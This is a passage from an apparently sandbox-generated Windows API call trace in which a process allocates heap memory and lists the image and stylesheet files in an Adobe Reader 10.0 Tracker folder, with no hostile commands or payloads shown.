returned 0 [0083.717] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0083.717] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0083.717] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0083.717] NtClose (Handle=0x178) returned 0x0 [0083.718] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b5b0) returned 1 [0083.718] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b5b0 [0083.718] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0083.718] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.718] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0083.720] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801fc020, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8026e440, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.721] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x53a, dwReserved0=0x0, dwReserved1=0x0, cFileName="add_reviewer.gif", cAlternateFileName="")) returned 1 [0083.721] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.721] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.721] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.722] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.722] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.722] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0083.722] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0083.722] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216d80 [0083.722] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b2618 [0083.723] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.723] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x53, dwReserved0=0x0, dwReserved1=0x0, cFileName="bl.gif", cAlternateFileName="")) returned 1 [0083.723] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.723] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.723] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.724] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.724] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.724] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216da0 [0083.724] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0083.724] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.724] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x52, dwReserved0=0x0, dwReserved1=0x0, cFileName="br.gif", cAlternateFileName="")) returned 1 [0083.725] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.725] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.725] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.725] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.725] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.726] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216dc0 [0083.726] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0083.726] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x7740) returned 0x12c27b8 [0083.726] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12bb0b0) returned 1 [0083.727] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.727] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="create_form.gif", cAlternateFileName="")) returned 1 [0083.727] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.727] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.727] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.727] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.727] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.728] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216de0 [0083.728] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b2720 [0083.728] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.728] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x335, dwReserved0=0x0, dwReserved1=0x0, cFileName="distribute_form.gif", cAlternateFileName="")) returned 1 [0083.728] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.729] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.729] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.729] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.729] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.729] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216e00 [0083.729] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b2828 [0083.730] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.730] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="email_all.gif", cAlternateFileName="")) returned 1 [0083.730] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.731] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.731] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.731] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.731] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.731] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216e20 [0083.731] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b2930 [0083.732] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.732] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x550, dwReserved0=0x0, dwReserved1=0x0, cFileName="email_initiator.gif", cAlternateFileName="")) returned 1 [0083.732] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.732] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.732] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.733] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.733] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.733] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216e40 [0083.733] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b2a38 [0083.733] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.733] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x0, dwReserved1=0x0, cFileName="ended_review_or_form.gif", cAlternateFileName="")) returned 1 [0083.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.734] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.734] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216e60 [0083.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b2b40 [0083.735] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.735] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="end_review.gif", cAlternateFileName="")) returned 1 [0083.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.736] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.736] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.736] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.736] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.736] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216e80 [0083.736] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b2c48 [0083.737] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.737] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x265, dwReserved0=0x0, dwReserved1=0x0, cFileName="forms_distributed.gif", cAlternateFileName="")) returned 1 [0083.737] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.737] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.737] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.738] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.738] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.738] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216ea0 [0083.738] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b2d50 [0083.738] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.738] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x267, dwReserved0=0x0, dwReserved1=0x0, cFileName="forms_received.gif", cAlternateFileName="")) returned 1 [0083.738] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.739] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.739] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.739] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.739] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.739] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216ec0 [0083.740] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b2e58 [0083.740] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.740] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="forms_super.gif", cAlternateFileName="")) returned 1 [0083.740] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.740] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.740] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.741] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.741] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.741] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216ee0 [0083.741] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b2f60 [0083.742] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.742] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="form_responses.gif", cAlternateFileName="")) returned 1 [0083.742] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.742] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.742] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.743] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.743] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.743] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216f00 [0083.743] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b3068 [0083.743] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.743] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="info.gif", cAlternateFileName="")) returned 1 [0083.743] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.744] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.744] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.744] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.744] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.744] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216f20 [0083.745] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b3170 [0083.745] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.745] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0083.745] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.746] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.746] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.746] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.746] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.746] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216f40 [0083.746] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b3278 [0083.747] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.747] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="open_original_form.gif", cAlternateFileName="")) returned 1 [0083.747] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.747] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.747] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.748] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.748] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.748] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216f60 [0083.748] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b3380 [0083.748] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.748] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pdf.gif", cAlternateFileName="")) returned 1 [0083.748] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.749] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.749] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.749] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.749] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.749] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216f80 [0083.750] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0083.750] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.750] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="reviewers.gif", cAlternateFileName="")) returned 1 [0083.750] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.750] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.751] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216fa0 [0083.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b3488 [0083.752] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.752] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, 